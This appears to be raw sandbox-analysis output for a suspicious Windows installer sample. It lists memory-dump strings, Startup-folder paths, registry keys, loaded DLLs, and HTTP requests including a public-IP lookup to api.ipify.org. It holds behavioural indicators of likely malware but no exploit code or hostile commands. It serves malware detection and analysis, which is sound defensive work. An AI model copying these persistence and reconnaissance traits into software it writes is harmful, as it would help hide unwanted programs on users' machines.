":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp 00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp 00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000001.84328.01430000.00000002.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp 00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp 00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000001.84328.01430000.00000002.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp41:Tdfe,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001156.00000000.81939.00490000.00000004.mdmp 00000000-00001156.00000001.82229.00490000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001156.00000000.81939.00490000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001156.00000001.82229.00533000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "HKEY_USERS\" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "!This program cannoHKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "HKEY_USERS\1464" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "!This program cannoHKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00003572.00000000.82404.00408000.00000002.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp 00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp42:T63b,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135]43:T1ad7,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001156.00000000.81939.00490000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001156.00000000.81939.00490000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001156.00000001.82229.00490000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001156.00000001.82229.00533000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp "HKEY_USERS\" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp "!This program cannoHKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002180.00000000.83897.0B400000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001" in Source: 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "HKEY_USERS\" in Source: 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "!This program cannoHKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002180.00000001.83914.0B400000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "HKEY_USERS\1464" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "!This program cannoHKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002516.00000001.83576.0B880000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00003572.00000000.82404.00408000.00000002.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003572.00000000.82404.00610000.00000004.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00003572.00000002.84706.00610000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003572.00000002.84706.00610000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" in Source: 00000000-00004256.00000001.84604.00B30000.00000004.mdmp "Software\Classes\CLSID\{2916c86e-86a6-43fe-811%" in Source: 00000000-00004256.00000001.84604.00B30000.00000004.mdmp "Software\Microsoft\OneDrive" in Source: 00000000-00004256.00000001.84604.712E1000.00000020.mdmp "Software\Microsoft\Windows Live\Common" in Source: 00000000-00004256.00000001.84604.712E1000.00000020.mdmp "Software\Microsoft\Windows Live\Environment\Sync" in Source: 00000000-00004256.00000001.84604.712E1000.00000020.mdmp "Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" in Source: 00000000-00004256.00000001.84604.712E1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\EnableAutoTray" in Source: 00000000-00004256.00000001.84604.712E1000.00000020.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" in Source: 00000000-00004256.00000002.86530.00B30000.00000004.mdmp "Software\Classes\CLSID\{2916c86e-86a6-43fe-811%" in Source: 00000000-00004256.00000002.86530.00B30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\OneDrive" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\Windows Live\Common" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\Windows Live\Common\Activations\%d" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Policies\Microsoft\SQMClient" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\SQMClient" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\SQMClient\%s\AdaptiveSqm\Throttling" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "SOFTWARE\Microsoft\Reliability Analysis\RAC" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\SQMClient\Windows" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Policies\Microsoft\SQMClient\Windows" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp "Software\Microsoft\SQMClient\UploadUrlMap" in Source: 00000000-00004256.00000002.86530.71331000.00000020.mdmp44:T92b,"GET /?format=dfg HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: api.ipify.org Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Sun 13 Sep 2026 10:53:26 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Server: cloudflare Vary: Origin cf-cache-status: DYNAMIC CF-RAY: a3a69bb1e943fac6-SJC with response body ==>36342E3132342E31322E313632....... "GET /r/r4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 528 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun 13 Sep 2026 10:46:17 GMT Expires: Sun 13 Sep 2026 11:36:17 GMT Cache-Control: public max-age=3000 Age: 458 Last-Modified: Wed 11 Feb 2026 14:38:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C282020C30C28201C293020101300A06082AC28648C38E3D0403033047310B300906035504061302555331223020060355040A1319476F6F676C6520547275....... "GET /we1/4y3jdVkomeg.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 309 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun 13 Sep 2026 10:27:58 GMT Expires: Sun 13 Sep 2026 11:17:58 GMT Cache-Control: public max-age=3000 Last-Modified: Sun 13 Sep 2026 09:23:35 GMT Content-Type: application/pkix-crl Age: 1558 with response body ==>30C282013130C281C398020101300A06082AC28648C38E3D040302303B310B3009060355040613025553311E301C060355040A1315476F6F676C652054727573.......45:T465f,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 713f0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "KERNEL32" at base 75100000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "ADVAPI32.DLL" at base 75290000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6b690000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "SHLWAPI.DLL" at base 750a0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "VERSION.DLL" at base 74200000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 643e0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "USER32.DLL" at base 75680000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "MSCOREE.DLL" at base 6b720000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "PSAPI.DLL" at base 76fc0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "RPCRT4.DLL" at base 75900000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "KERNEL32.DLL" at base 75100000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 62fd0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "OLE32.DLL" at base 76d00000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "CRYPTBASE.DLL" at base 74c60000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73730000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6aa90000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62570000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61d50000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 738f0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "SHELL32.DLL" at base 75e80000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "PROPSYS.DLL" at base 73940000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "COMCTL32.DLL" at base 73c60000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "OLEAUT32.DLL" at base 76bb0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "CLBCATQ.DLL" at base 76c70000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73940000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "NTMARTA.DLL" at base 741d0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a30000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "PROFAPI.DLL" at base 74d70000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "APPHELP.DLL" at base 74c10000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6fa60000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75e80000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75100000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "SETUPAPI.DLL" at base 75750000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 74e40000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 75af0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "SECUR32.DLL" at base 74a90000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 74e30000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 6f1b0000 "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c10000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 74c60000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6b800000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 76c70000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 741d0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74200000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 730a0000 "InstallSetup9.exe" loaded module "CRYPTBASE.DLL" at base 74c60000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 738f0000 "InstallSetup9.exe" loaded module "OLE32.DLL" at base 76d00000 "InstallSetup9.exe" loaded module "KERNEL32.DLL" at base 75100000 "InstallSetup9.exe" loaded module "COMCTL32.DLL" at base 73c60000 "InstallSetup9.exe" loaded module "OLEAUT32.DLL" at base 76bb0000 "InstallSetup9.exe" loaded module "ADVAPI32.DLL" at base 75290000 "InstallSetup9.exe" loaded module "SETUPAPI.DLL" at base 75750000 "InstallSetup9.exe" loaded module "RPCRT4.DLL" at base 75900000 "InstallSetup9.exe" loaded module "CLBCATQ.DLL" at base 76c70000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73940000 "InstallSetup9.exe" loaded module "NTMARTA.DLL" at base 741d0000 "InstallSetup9.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a30000 "InstallSetup9.exe" loaded module "PROFAPI.DLL" at base 74d70000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c10000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 74e40000 "InstallSetup9.exe" loaded module "%TEMP%\NSS9B66.TMP\INETC.DLL" at base 10000000 "InstallSetup9.exe" loaded module "DWMAPI.DLL" at base 735d0000 "InstallSetup9.exe" loaded module "COMCTL32.DLL" at base 719b0000 "InstallSetup9.exe" loaded module "SECUR32.DLL" at base 74a90000 "InstallSetup9.exe" loaded module "SHELL32.DLL" at base 75e80000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 6f1b0000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 74e50000 "InstallSetup9.exe" loaded module "WS2_32.DLL" at base 76ad0000 "InstallSetup9.exe" loaded module "WINHTTP.DLL" at base 70f90000 "InstallSetup9.exe" loaded module "WININET" at base 753a0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74730000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74720000 "InstallSetup9.exe" loaded module "IPHLPAPI.DLL" at base 71a50000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72710000 "InstallSetup9.exe" loaded module "DNSAPI.DLL" at base 745f0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6c870000 "InstallSetup9.exe" loaded module "DHCPCSVC6.DLL" at base 70d70000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74290000 "InstallSetup9.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a30000 "InstallSetup9.exe" loaded module "DHCPCSVC.DLL" at base 70cf0000 "InstallSetup9.exe" loaded module "RASADHLP.DLL" at base 6c580000 "InstallSetup9.exe" loaded module "CRYPTSP.DLL" at base 74770000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74500000 "InstallSetup9.exe" loaded module "RPCRTREMOTE.DLL" at base 74d00000 "InstallSetup9.exe" loaded module "URLMON.DLL" at base 75af0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6c090000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76bb0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 70d90000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 76ad0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 753a0000 "InstallSetup9.exe" loaded module "CRYPT32.DLL" at base 74f70000 "InstallSetup9.exe" loaded module "USERENV.DLL" at base 74f20000 "InstallSetup9.exe" loaded module "CREDSSP.DLL" at base 74400000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74570000 "InstallSetup9.exe" loaded module "NCRYPT.DLL" at base 748a0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74440000 "InstallSetup9.exe" loaded module "WINTRUST.DLL" at base 74f40000 "InstallSetup9.exe" loaded module "GPAPI.DLL" at base 74340000 "InstallSetup9.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75a30000 "InstallSetup9.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75a30000 "InstallSetup9.exe" loaded module "USER32.DLL" at base 75680000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6e5c0000 "InstallSetup9.exe" loaded module "CRYPTNET.DLL" at base 6e5c0000 "InstallSetup9.exe" loaded module "SHLWAPI.DLL" at base 750a0000 "InstallSetup9.exe" loaded module "SENSAPI.DLL" at base 6df50000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 74f70000 "InstallSetup9.exe" loaded module "SSPICLI.DLL" at base 74bf0000 "InstallSetup9.exe" loaded module "NTDLL.DLL" at base 76e60000 "InstallSetup9.exe" loaded module "NSI.DLL" at base 758f0000 "InstallSetup9.exe" loaded module "CFGMGR32.DLL" at base 74eb0000 "InstallSetup9.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75a30000 "InstallSetup9.exe" loaded module "%TEMP%\NSS9B66.TMP\MATH.DLL" at base 6ab00000 